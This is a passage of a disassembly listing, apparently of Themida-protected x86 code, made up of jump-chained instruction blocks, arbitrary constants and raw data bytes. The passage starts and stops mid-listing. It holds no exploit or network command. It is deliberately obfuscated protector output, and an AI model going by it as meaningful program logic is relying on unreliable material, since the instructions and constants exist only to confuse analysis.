0E99C2404h, 0FFFFE094h ; --------------------------------------------------------------------------- loc_595AB4: ; CODE XREF: Themida_:00594947j pop edi push ecx jmp loc_58DEF8 ; --------------------------------------------------------------------------- db 80h dd 0C1802FF1h, 59CF2814h, 7822E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595ACA: ; CODE XREF: Themida_:0058CCD1j pop edx sub edx, 253F0212h pop ebx add eax, edx mov edx, [esp] add esp, 4 jmp loc_5916EC ; --------------------------------------------------------------------------- word_595AE2 dw 34FFh ; DATA XREF: Themida_:0058B15Co dd 2434FF24h, 0FF7E06E9h db 0FFh ; --------------------------------------------------------------------------- loc_595AED: ; CODE XREF: Themida_:0058EB36j not eax xor eax, 0D3AF5ABFh add ebx, eax pop eax push edi sub esp, 4 jmp loc_59520C ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 83F0E924h, 0CA00FFFFh, 80DAF659h dd 0D028F2C2h, 4F8005Ah, 241C8BE7h, 5E08950h, 4, 8704C083h dd 515C2404h, 0E98030B1h, 0C0D1F6B2h, 0C18004E9h, 28BC049Ch dd 0F3E951C8h, 0E9FFFFF2h, 0FFFF582Fh ; --------------------------------------------------------------------------- loc_595B4C: ; CODE XREF: Themida_:0058DE06j push 28AE5337h push dword ptr [esp] pop esi jmp loc_592F1B ; --------------------------------------------------------------------------- loc_595B5A: ; CODE XREF: Themida_:00594E6Ej add dword ptr [esp], 4 pop ebp jmp loc_58D6C0 ; --------------------------------------------------------------------------- dd 5755E189h, 0FF7189E9h db 0FFh ; --------------------------------------------------------------------------- loc_595B6D: ; CODE XREF: Themida_:0058EFB8j and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_591DB9 ; --------------------------------------------------------------------------- dd 1E96C381h, 0D0E915FAh db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595B9B: ; CODE XREF: Themida_:loc_58CDACj add eax, 708D0E16h jle loc_591A59 or eax, 310C08A5h jmp loc_5903C7 ; --------------------------------------------------------------------------- loc_595BB0: ; CODE XREF: Themida_:00592365j xor al, 62h add bl, al jmp loc_5919A9 ; --------------------------------------------------------------------------- loc_595BB9: ; CODE XREF: Themida_:00592833j or eax, edx pop edx not eax add eax, 401B578Fh mov edi, eax mov eax, [esp] add esp, 4 and eax, edi push dword ptr [esp] pop edi add esp, 4 or eax, eax jz loc_592224 push edx push esi push 19AD1550h mov esi, [esp] push esi jmp loc_5970D1 ; --------------------------------------------------------------------------- loc_595BF2: ; CODE XREF: Themida_:00592191j not edi and edi, 1CBA5D25h and edi, 218B66C6h jmp loc_59167D ; --------------------------------------------------------------------------- loc_595C05: ; CODE XREF: Themida_:00590453j ; Themida_:00597757j add ebx, ebp jmp loc_596EDD ; --------------------------------------------------------------------------- loc_595C0C: ; CODE XREF: Themida_:00594974j mov eax, ebx jmp loc_58EDA0 ; --------------------------------------------------------------------------- loc_595C13: ; CODE XREF: Themida_:0058F08Ej xor edx, eax jmp loc_594ADA ; --------------------------------------------------------------------------- word_595C1A dw 8B66h ; DATA XREF: Themida_:0058B134o dd 89562404h, 0E96BE9E6h, 895CFFFFh, 4B9240Ch, 1000000h dd 240C8BCBh, 4C481h, 0FDE90000h db 24h, 2 dup(0) byte_595C3F db 66h ; DATA XREF: Themida_:0058B2ECo dd 6824048Bh, 7A8Dh, 89242C89h, 4EC83E5h, 0FFBE27E9h db 0FFh ; --------------------------------------------------------------------------- loc_595C55: ; CODE XREF: Themida_:0058DE11j sub eax, ebx sub eax, 55EA5F45h sub esp, 4 mov [esp], ebp mov ebp, 651E1B4Bh jmp loc_5973B7 ; --------------------------------------------------------------------------- dd 5FE0BA66h, 8B0F4A66h, 0FFFFC445h, 14E28166h, 0B18E0F7Ah dd 8AFFFF60h, 73685DE0h, 0E95BB756h, 0FFFFF4BBh ; --------------------------------------------------------------------------- loc_595C90: ; CODE XREF: Themida_:00593A77j pop esp push dword ptr [esp] mov eax, [esp] jmp loc_59524F ; --------------------------------------------------------------------------- dd 4240483h, 0E609E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595CA6: ; CODE XREF: Themida_:loc_58C3FAj xor edx, 10004CF5h mov ebp, edx pop edx add esi, ebp pop ebp xor esi, [esp] jmp loc_594C32 ; --------------------------------------------------------------------------- dw 0FB89h dd 0ECE9h db 0 ; --------------------------------------------------------------------------- loc_595CC1: ; CODE XREF: Themida_:00591D84j mov [esp], edi mov edi, 2BB5396Ch neg edi shr edi, 2 dec edi jge loc_58E2F8 and edi, 1E69397Dh xor edi, 2CAC24D4h pop edx jnp loc_58BA41 add edx, 6CAD461Ah mov ebx, edx mov edx, [esp] mov bl, al loc_595CF5: ; CODE XREF: Themida_:0058B4E3j mov dl, bl mov ah, dl pop edx pop ebx push small 0 sub [esp], ah jmp loc_58BD59 ; --------------------------------------------------------------------------- loc_595D07: ; CODE XREF: Themida_:0059523Cj add eax, 789B662Ah jmp loc_592472 ; --------------------------------------------------------------------------- loc_595D11: ; CODE XREF: Themida_:0058CC06j mov [esp], ebp push ecx jmp loc_593884 ; --------------------------------------------------------------------------- dw 22B9h dd 0BB190102h, 8750CE1Ah, 34FFCB29h, 0C4815924h, 4, 34FFD831h dd 241C8B24h, 4C481h, 0E9560000h, 0FFFFAFB9h, 0E8A5E95Fh dd 8159FFFFh, 0FD46D7E3h, 0C1D3F760h, 0EC8308E3h, 24148904h dd 276BE9BAh, 0D4C0E96Eh, 0CBBFFFFh, 3155255Fh, 0BE5659CBh dd 15CB241Bh, 0FFB325E9h db 0FFh ; --------------------------------------------------------------------------- loc_595D79: ; CODE XREF: Themida_:00596BA1j sub edi, ebx pop ebx sub edi, 1FE76A9Ch add edi, edx add edi, 1FE76A9Ch add edi, 2F5A12BCh pop edx jmp loc_59702B ; --------------------------------------------------------------------------- dw 0BE56h dd 0EC9C8BF2h, 6F7A4E05h, 2DF00119h, 196F7A4Eh, 0FF5E20E9h db 0FFh ; --------------------------------------------------------------------------- loc_595DAD: ; CODE XREF: Themida_:00593BC9j pop edi pop edx add ebx, 7D8C7B83h add ebx, 16A6644Bh add ebx, edx push ebp push edi mov edi, 11315204h jmp loc_59373B ; --------------------------------------------------------------------------- db 81h, 0CBh, 0A2h dd 0F63230Eh, 0FFDC3D8Eh, 0C6EDE9FFh, 6866FFFFh, 89660A92h db 4, 24h ; --------------------------------------------------------------------------- loc_595DE2: ; CODE XREF: Themida_:005964EFj pop eax add ebx, 5CA74305h add ebx, ebp sub ebx, 5CA74305h mov ebp, [esp] add esp, 4 sub ebx, eax push edi mov edi, 31860E16h sub ebx, edi push dword ptr [esp] jmp loc_596E1A ; --------------------------------------------------------------------------- dd 71C98058h, 5E8B800Fh, 0E9C0FFFFh, 0FC9DE903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595E1E: ; CODE XREF: Themida_:0058BEBAj mov eax, 4 jmp loc_592E54 ; --------------------------------------------------------------------------- loc_595E28: ; CODE XREF: Themida_:0059425Fj ; Themida_:0059524Aj mov esi, [esp] add esp, 4 sub ebx, esi pop esi jmp loc_59400B ; --------------------------------------------------------------------------- loc_595E39: ; CODE XREF: Themida_:0058DADEj sub esp, 4 mov [esp], edx jmp loc_58DC52 ; --------------------------------------------------------------------------- db 2Dh dd 4, 8904EC83h, 74FF2404h, 0EBE90424h, 54FFFFD8h, 0FFDB14E9h dd 41B850FFh, 89164448h, 5B35E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595E6E: ; CODE XREF: Themida_:00597474j add esi, 4 jmp loc_597877 ; --------------------------------------------------------------------------- loc_595E79: ; CODE XREF: Themida_:00591FCCj pop ecx jmp loc_59584C ; --------------------------------------------------------------------------- aRsv db 'RИ╒"',0 dd 1EFEBD00h, 0E9292419h, 87BB535Dh, 2925F142h, 33E95BD9h dd 5CFFFFB9h, 8B241487h, 0F662424h, 6866C8B6h, 89661C0Bh dd 0C8E9240Ch db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595EB3: ; CODE XREF: Themida_:005923F5j mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_592C05 ; --------------------------------------------------------------------------- db 0B8h, 0A4h, 71h dd 0E8C1504Bh, 3E8C107h, 0FFD7EAE9h, 0FE9AB5FFh, 7EDC0C5h dd 60B45066h, 8B66E500h, 89572404h, 4C781E7h, 81000000h dd 2C7h, 243C8700h, 8F045Ch, 1F68E9E8h, 0E5C10000h, 0E4880F05h dd 81FFFF5Bh, 5EBF02EDh, 1C6F21A6h, 57242C8Bh, 8B2434FFh dd 0C4812404h, 4, 1DDE9h db 0 ; --------------------------------------------------------------------------- loc_595F29: ; CODE XREF: Themida_:0059102Ej xchg edx, [esp] pop esp mov [esp], edi push 2AC4h mov [esp], ecx mov ecx, 3B332D3h mov edi, 2C7B9647h sub edi, ecx mov ecx, [esp] add esp, 4 not edi add edi, 1 inc edi shr edi, 6 dec edi jmp loc_58FDB6 ; --------------------------------------------------------------------------- db 0D1h dd 0CBC381EBh, 9F8F4CAh, 0B9515BDAh, 1CEB7A70h, 8A4C981h dd 0FCE950C3h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595F7B: ; CODE XREF: Themida_:00598421j add edx, eax jmp loc_59094F ; --------------------------------------------------------------------------- loc_595F82: ; CODE XREF: Themida_:005931FDj mov edx, 41A148E5h neg edx xchg ebp, edx not ebp xchg ebp, edx xor edx, 46AE2CC4h sub eax, edx pop edx jmp loc_594BAE ; --------------------------------------------------------------------------- byte_595F9D db 51h, 50h, 68h ; DATA XREF: Themida_:0058B26Co dd 167F13C4h, 0FFE194E9h db 0FFh ; --------------------------------------------------------------------------- loc_595FA9: ; CODE XREF: Themida_:00597D16j sub esp, 4 mov [esp], esi mov esi, 4 sub edx, 480F25B0h jmp loc_58D338 ; --------------------------------------------------------------------------- loc_595FBF: ; CODE XREF: Themida_:005945D3j xor bh, 0ACh push edx mov dl, bh mov ch, dl pop edx pop ebx sub bl, ch mov ecx, [esp] push ebp mov ebp, esp jmp loc_597B30 ; --------------------------------------------------------------------------- dw 0E821h dd 8D3355Dh, 0C10126A0h, 74FF5158h, 0FFE90424h db 83h, 2 dup(0FFh) byte_595FEB db 0ADh ; DATA XREF: Themida_:0058B1B0o dd 0FFED5AE9h, 242C89FFh, 75DBBB53h, 0F3817217h, 15776804h dd 0EF0F870Fh, 3E9FFFFh, 1FFFF56h, 26B55FFDh, 0C8BDC8Ah dd 1591E924h, 0E7810000h, 0D117346h, 0B35EF81h, 0CF816487h dd 765F58F7h, 1BD55h, 0EF290000h, 37E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59603A: ; CODE XREF: Themida_:0058DB34j shl al, 5 xor al, 0C1h add dl, al pop eax sub al, dl pop edx xor bl, al movzx eax, al jmp loc_59006F ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 4BB5304h, 2D000000h, 7381530h, 85381E2Dh dd 5D8016Fh, 6F85381Eh, 0FFCE8EE9h, 1EEF81FFh, 8139FE7Dh dd 5D8150F7h, 8E70E994h, 0F580FFFFh, 59E828D1h, 0FF56DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59608D: ; CODE XREF: Themida_:0058F6BFj sub bl, 22h sub bl, 28h sub bl, ch add bl, 28h add bl, 22h mov cx, [esp] push eax mov eax, esp add eax, 4 jmp loc_595108 ; --------------------------------------------------------------------------- loc_5960AC: ; CODE XREF: Themida_:0058B385j mov [esp], ecx jmp loc_590E98 ; --------------------------------------------------------------------------- dd 0BBE9FE01h, 50FFFFADh, 5F243481h, 5F565E46h, 465FF781h dd 558565Eh, 63A77FAh, 0FA2DF801h, 5F063A77h, 5C240487h dd 582434FFh, 42E95456h, 2DFFFF70h, 6EA65FD1h, 0FF7C32E9h db 0FFh ; --------------------------------------------------------------------------- loc_5960F1: ; CODE XREF: Themida_:00590B95j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_58BC8E ; --------------------------------------------------------------------------- dw 0C483h dd 526DE904h db 2 dup(0FFh) word_59610E dw 52ACh ; DATA XREF: Themida_:0058B238o dd 0C281E289h, 4, 4EA81h, 14870000h, 14895C24h, 8055B224h dd 536624F2h, 0FFEE24E9h db 0FFh byte_596131 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058B190o dd 55240C8Bh, 0C5815D54h, 4, 5504C583h, 0FFCA7BE9h db 0FFh ; --------------------------------------------------------------------------- loc_596149: ; CODE XREF: Themida_:00593E98j push ebx push 15045679h jmp loc_58DC9C ; --------------------------------------------------------------------------- dd 29F5EA81h, 34E97886h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59615F: ; CODE XREF: Themida_:00591A30j xchg esi, [esp] mov esp, [esp] jmp loc_5968FF ; --------------------------------------------------------------------------- aF14S db 'f14$И╥',7,0 dw 8100h dd 0DC5F85EDh, 5DE82954h, 0FF1C4709h, 0E9582434h, 0FFFFB2AEh ; --------------------------------------------------------------------------- loc_596188: ; CODE XREF: Themida_:0058DC43j mov [esp], bx mov bl, 6Bh jmp loc_5972FF ; --------------------------------------------------------------------------- db 8Bh dd 0D0682404h, 89000077h, 0E2892414h, 4C281h, 0C2830000h dd 24148704h, 0E289525Ch, 4C281h, 0B2E90000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5961BB: ; CODE XREF: Themida_:00593ED9j xor bh, 0C8h mov dh, bh pop ebx shr dh, 3 not dh jmp loc_592FCC ; --------------------------------------------------------------------------- loc_5961CB: ; CODE XREF: Themida_:00596CDEj xor cl, 2Ah jmp loc_59539F ; --------------------------------------------------------------------------- loc_5961D3: ; CODE XREF: Themida_:0058F6F3j mov esi, edx pop edx pop eax push ecx push edi mov edi, 21F958F5h and edi, 454D5731h dec edi or edi, 494734F2h not edi sub edi, 3FA01FC1h jmp loc_59219C ; --------------------------------------------------------------------------- dd 7C5DEE81h, 8D0F0CD3h, 291h, 0FFF5F5E9h, 241C89FFh, 0FD0CE389h db 0B1h, 0B7h ; --------------------------------------------------------------------------- loc_596212: ; CODE XREF: Themida_:0058C309j ; Themida_:005952FAj add edx, 3E4112A9h jmp loc_58E630 ; --------------------------------------------------------------------------- aTs db 'TИч!',0 db 0 ; --------------------------------------------------------------------------- loc_596223: ; CODE XREF: Themida_:0059696Dj pop esp push esi mov esi, esp push ebp jmp loc_5977EE ; --------------------------------------------------------------------------- loc_59622D: ; CODE XREF: Themida_:0058E145j ; Themida_:00594B25j shl bl, 7 js loc_590081 xor bl, 0CDh mov cl, bl pop ebx jmp loc_591FB9 ; --------------------------------------------------------------------------- byte_596241 db 0FFh, 77h, 38h ; DATA XREF: Themida_:0058B1E0o dd 0FF2434FFh, 81592434h, 4ECh, 241C8900h, 0BA525B54h dd 776329F1h, 0EAC1D2F7h, 47CA8106h, 0E92C4750h, 0FFFFEB1Eh ; --------------------------------------------------------------------------- loc_59626C: ; CODE XREF: Themida_:00596DE5j neg eax jmp loc_596C06 ; --------------------------------------------------------------------------- loc_596273: ; CODE XREF: Themida_:0058F767j push ebx mov ebx, esp add ebx, 4 jmp loc_596BB9 ; --------------------------------------------------------------------------- loc_596281: ; CODE XREF: Themida_:00596F40j mov esi, 644B17B2h and ebx, esi pop esi shr ebx, 4 sub ebx, 27ED37B1h neg ebx push edx mov edx, 1D129395h xor ebx, edx pop edx add eax, ebx pop ebx sub eax, 101FBD89h add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_593B4D ; --------------------------------------------------------------------------- dword_5962B8 dd 0FF2434FFh, 515A2434h, 5553E189h, 4BDh, 0A4E95600h ; DATA XREF: Themida_:0058B1F8o dd 55FFFFA1h, 9C1F43BDh, 59E5817Bh, 0F73D7537h, 0BAED81D5h dd 1C6EBE8h, 242C8BE9h, 4C481h, 0E9560000h, 0FFFF531Ah dd 0E4890F48h, 35FFFFC9h, 0BB938F45h, 0FF60EAE9h, 4EBD55FFh dd 290C8340h, 0F0015DEEh, 0E924348Bh, 0FFFFE1ECh ; --------------------------------------------------------------------------- loc_596318: ; CODE XREF: Themida_:00593624j push eax mov eax, esp jmp loc_590FBF ; --------------------------------------------------------------------------- dd 5E55BF57h, 0E781691Eh, 2A981C44h, 296DEF81h, 0B95149BDh dd 7D3030B4h, 0BD3F181h, 0D98736EDh, 0D987D3F7h, 0FFC1DCE9h db 0FFh byte_596349 db 8Bh, 4, 24h ; DATA XREF: Themida_:0058B0E8o dd 0BF368h, 24048900h, 8904EC83h, 4812424h, 424h, 8D5FE900h dd 0BF57FFFFh, 5F9E3EA6h, 9E3EAAB9h, 5FF9295Fh, 6125B951h dd 82E97B92h, 81FFFF7Ch, 0CC4715C3h, 81CB2932h, 0CC4715EBh dd 240C8B32h, 4C481h, 0C3290000h, 24EA68h, 24048900h, 0A16EAD68h dd 0EB815823h, 64841B89h, 7159EB81h, 0C3812D22h, 381702B7h dd 20A7E9h, 81E38900h, 4C3h, 4C38300h, 0FFB497E9h db 0FFh ; --------------------------------------------------------------------------- loc_5963CD: ; CODE XREF: Themida_:00597263j add esp, 4 push 5183h mov [esp], ecx push ebp mov ebp, 180526BAh jmp loc_58BF25 ; --------------------------------------------------------------------------- loc_5963E6: ; CODE XREF: Themida_:0058BF7Bj push eax mov eax, esp push edi jmp loc_58BBA2 ; --------------------------------------------------------------------------- loc_5963EF: ; CODE XREF: Themida_:0058F9E3j shr edx, 3 jnp loc_59094A jmp loc_5967BD ; --------------------------------------------------------------------------- db 81h, 0EAh, 14h dd 2C41AE79h db 90h ; --------------------------------------------------------------------------- loc_596405: ; CODE XREF: Themida_:0058D90Ej mov [esp], edx mov edx, esp push esi mov esi, 4 add edx, esi push dword ptr [esp] pop esi add esp, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp add esp, 4 sub [esp], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C4h dd 4C38104h, 81000000h, 2C3h, 241C3300h, 33241C31h, 4CE9241Ch db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596453: ; CODE XREF: Themida_:loc_58E13Aj and eax, 76A53A15h jb loc_58E9EE jmp loc_594631 ; --------------------------------------------------------------------------- loc_596463: ; CODE XREF: Themida_:00598554j sub ecx, 46F73CD7h add ecx, ebp add ecx, 46F73CD7h mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_596524 ; --------------------------------------------------------------------------- dd 0FF2BAF05h, 0C3315D01h, 0FF84DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_596495: ; CODE XREF: Themida_:loc_592455j jmp loc_59718D ; --------------------------------------------------------------------------- dw 1C89h dd 81E38924h, 4C3h, 4C38100h, 87000000h, 875C241Ch, 5C2404h dd 0E99C2404h, 0FFFF4EBFh, 0F061890Fh, 0F581FFFFh, 85FC28D4h dd 41590E2Dh, 57E82971h, 0FFB94AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5964D5: ; CODE XREF: Themida_:00594064j xor ebp, 7659B0C8h sub [edi+24h], ebp pop ebp loc_5964DF: ; CODE XREF: Themida_:00593760j push 4494h mov [esp], esi push ebx jmp loc_590907 ; --------------------------------------------------------------------------- loc_5964ED: ; CODE XREF: Themida_:0058D4EFj mov ebp, eax jmp loc_595DE2 ; --------------------------------------------------------------------------- dd 685FF901h, 2773h, 0FF240C89h, 59042474h, 8B24048Fh dd 6CE92424h, 53FFFF4Eh, 0D8285EB3h, 0FF7188E9h db 0FFh ; --------------------------------------------------------------------------- loc_596519: ; CODE XREF: Themida_:00590AF5j movzx eax, al push dword ptr [edi+eax*4] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596524: ; CODE XREF: Themida_:00596483j xchg ebx, [esp] pop esp add ecx, 2 jmp loc_596620 ; --------------------------------------------------------------------------- loc_596530: ; CODE XREF: Themida_:00595683j add esp, 4 add ecx, 4 push eax push esi push 12B80593h pop esi xor esi, 5B9314Ah mov eax, esi jmp loc_592D66 ; --------------------------------------------------------------------------- loc_59654E: ; CODE XREF: Themida_:0059132Fj mov edi, 6CA62FEh sub [esp+4], edi pop edi mov eax, [esp] add esp, 4 push ebx jmp loc_59724C ; --------------------------------------------------------------------------- loc_596564: ; CODE XREF: Themida_:0058DD5Ej xor ecx, 6DCF727Bh mov ebx, ecx jmp loc_593D79 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 71E9E389h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59657B: ; CODE XREF: Themida_:005971F1j sub esi, 0FFFFFFFFh not esi add esi, 0FFFFFFFFh push 374Ch mov [esp], edx push eax mov eax, 384B6740h mov edx, eax mov eax, [esp] jmp loc_59715C ; --------------------------------------------------------------------------- loc_59659B: ; CODE XREF: Themida_:0058CA99j sub ebx, 33AA6E9Bh mov ecx, ebx jmp loc_59556B ; --------------------------------------------------------------------------- dd 489F6853h, 9FE94F9Fh db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5965B3: ; CODE XREF: Themida_:0058D529j sub esp, 4 mov [esp], ebp mov ebp, 7DB4163Fh inc ebp jmp loc_58BF91 ; --------------------------------------------------------------------------- db 5Ah dd 0FF5347E9h, 24248BFFh, 9C240420h, 0FF4DA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5965D9: ; CODE XREF: Themida_:0058D333j push eax push ebp mov ebp, 73FE0CA0h mov eax, 6D853EE8h xor eax, ebp pop ebp jmp loc_59396C ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0EF810000h, 4, 0E9243C87h, 0FFFF791Fh, 52ABF281h dd 0EA8162F4h, 42E636BFh, 0FFAACCE9h, 63E181FFh, 0E95C1D5Dh dd 0FFFF99E7h ; --------------------------------------------------------------------------- loc_596620: ; CODE XREF: Themida_:0059652Bj xchg ecx, [esp] mov esp, [esp] mov ax, [esp] push edi push 353Dh mov [esp], esp add dword ptr [esp], 4 jmp loc_58FA61 ; --------------------------------------------------------------------------- dd 3EFC6859h, 8AE90000h, 59FFFF5Eh, 0D8002A04h, 80E4B151h dd 35E9CEF1h, 53FFFF6Dh, 0FC5928BBh, 0F52EE941h, 0EC81FFFFh dd 4, 0FFD009E9h db 0FFh ; --------------------------------------------------------------------------- loc_59666D: ; CODE XREF: Themida_:0059057Bj mov dh, 0Ch or bh, dh pop edx dec bh jmp loc_590384 ; --------------------------------------------------------------------------- db 1, 0C3h, 68h dd 7583h, 53242C89h, 0FFB6B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_596689: ; CODE XREF: Themida_:00596732j mov edi, 626C5D58h jmp loc_58E5E2 ; --------------------------------------------------------------------------- db 51h dd 0FF8967E9h, 8BF789FFh, 14E92434h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5966A3: ; CODE XREF: Themida_:0058EEEDj pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- dd 50241489h, 4CB5E99Ch, 0B551FFFFh, 59EE88F8h, 0C8BCE00h dd 4C48124h, 0FE000000h, 0E9CEFEC6h, 0FFFF63CBh ; --------------------------------------------------------------------------- loc_5966E0: ; CODE XREF: Themida_:0058F713j add esp, 4 shr ebx, 5 inc ebx shr ebx, 5 and ebx, 628C6B4Dh sub ebx, 9039CFE7h add edx, ebx pop ebx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5966FE: ; CODE XREF: Themida_:005921EBj xchg eax, edx jmp loc_590499 ; --------------------------------------------------------------------------- dword_596704 dd 62B753ACh, 80E1B551h, 0B35306C5h, 38F380B5h, 285BDD00h ; DATA XREF: Themida_:0058B0B8o dd 8AE959E8h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59671F: ; CODE XREF: Themida_:00593CA7j xchg eax, [esp] mov esp, [esp] mul ecx push 75CDh mov [esp], ebx push esp pop ebx push edi jmp loc_596689 ; --------------------------------------------------------------------------- loc_596737: ; CODE XREF: Themida_:0058F2BDj push esi mov esi, esp push edi mov edi, 619C4806h and edi, 238E31ACh sub edi, 35019B2h or edi, 43D9543Ah dec edi add edi, 0A004098Bh add esi, edi pop edi push edi mov edi, 4 add esi, edi jmp loc_59823A ; --------------------------------------------------------------------------- loc_596769: ; CODE XREF: Themida_:0058BA3Cj pop ebx jmp loc_593545 ; --------------------------------------------------------------------------- db 81h dd 6B7620F2h, 0F568E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59677A: ; CODE XREF: Themida_:0058DB67j mov [esp], ebx push edi mov edi, 1D722FC6h jmp loc_593555 ; --------------------------------------------------------------------------- loc_596788: ; CODE XREF: Themida_:0058E2A0j mov esi, 1AFD6E41h add edx, esi pop esi push ebp mov ebp, 43CA131Ch xor edx, ebp jmp loc_597AAC ; --------------------------------------------------------------------------- loc_59679D: ; CODE XREF: Themida_:00594B71j and esi, ebx pop ebx jmp loc_596A2E ; --------------------------------------------------------------------------- align 2 dw 0E9D3h dd 0FFFFD1DAh, 15DEB31h, 0C1815BD9h, 2, 185E9h db 0 ; --------------------------------------------------------------------------- loc_5967BD: ; CODE XREF: Themida_:005963F8j mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_58B3C0 ; --------------------------------------------------------------------------- loc_5967D4: ; CODE XREF: Themida_:0058C2FCj sub cl, bl mov ebx, [esp] add esp, 4 push ebx mov bh, 6Fh add bh, 7Eh and bh, 0D2h jmp loc_5947D1 ; --------------------------------------------------------------------------- loc_5967EA: ; CODE XREF: Themida_:005954FEj push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx mov edx, 18072CB9h mov esi, edx pop edx jmp loc_59701B ; --------------------------------------------------------------------------- db 1, 0C8h, 59h dd 0E902C083h, 0FFFFE957h ; --------------------------------------------------------------------------- loc_596814: ; CODE XREF: Themida_:0059140Dj mov edx, 10914807h add edx, 70F83CE4h jmp loc_594B3B ; --------------------------------------------------------------------------- aPsf db 'PИ■',9,0 align 2 loc_59682A: ; CODE XREF: Themida_:loc_597188j not ebx neg ebx jbe loc_58FB72 xor ebx, 8F73D8A5h add eax, ebx pop ebx xchg eax, [esp] loc_596840: ; CODE XREF: Themida_:0058E82Ej sub esi, 4 jmp loc_594069 ; --------------------------------------------------------------------------- dd 0B5F7E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59684E: ; CODE XREF: Themida_:0058DFF0j push dword ptr [esp] pop ecx add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] push 1E2Dh jmp loc_58C58A ; --------------------------------------------------------------------------- loc_596876: ; CODE XREF: Themida_:00591683j add esi, edi jmp loc_58B490 ; --------------------------------------------------------------------------- loc_59687D: ; CODE XREF: Themida_:00596A3Cj xchg edx, [esp] pop esp mov [esp], edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] mov esp, [esp] shl eax, cl push 394Ch mov [esp], edi push ebp mov ebp, 655947ABh sub ebp, 655947AAh jmp loc_591797 ; --------------------------------------------------------------------------- db 81h dd 0CD069AC5h, 0ACF58125h, 1B590ECh, 0FE015DEEh, 0FF719FE9h dd 83C331FFh, 48904ECh, 4CF4E924h, 0CCFEFFFFh, 318800Fh dd 0B6520000h, 24EE8076h, 6DF680h, 15B35AF4h, 48BE330h dd 4C48324h, 5B66D800h, 0FE96B2Ch db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5968FF: ; CODE XREF: Themida_:00596165j bts [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59690A: ; CODE XREF: Themida_:00593926j shr edx, 1 cmp eax, edx jz loc_58F587 push eax mov eax, 20h push esi mov esi, 7BD620AFh sub eax, esi pop esi add eax, edi jmp loc_59083B ; --------------------------------------------------------------------------- dw 3366h dd 31662434h, 44E92434h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596937: ; CODE XREF: Themida_:0058DF0Ej add esi, ecx pop ecx xor esi, [esp] jmp loc_59371A ; --------------------------------------------------------------------------- dw 0C87h dd 4D25C24h, 2CE99C24h, 57FFFF4Ah, 0EC83E789h, 24348904h dd 4BEh, 9CC8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596962: ; CODE XREF: Themida_:00594809j mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] jmp loc_596223 ; --------------------------------------------------------------------------- loc_596972: ; CODE XREF: Themida_:00597BCEj push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, esp jmp loc_591786 ; --------------------------------------------------------------------------- loc_596986: ; CODE XREF: Themida_:00597601j and edi, edx jmp loc_58E90A ; --------------------------------------------------------------------------- loc_59698D: ; CODE XREF: Themida_:0058D18Ej mov dh, 3Eh jmp loc_58ECE0 ; --------------------------------------------------------------------------- dword_596994 dd 9D1C77FFh, 14D25966h, 0D8E99C24h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5969A3: ; CODE XREF: Themida_:0058F49Bj add edx, 0DC43A7Dh jmp loc_58C3FA ; --------------------------------------------------------------------------- dw 0C481h dd 4, 14E9F889h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5969BB: ; CODE XREF: Themida_:0058FC95j pop esp mov [esp], edi mov edi, esp add edi, 4 jmp loc_58E3F2 ; --------------------------------------------------------------------------- loc_5969CC: ; CODE XREF: Themida_:005946E1j pop ebp xor ecx, [esp] xor [esp], ecx xor 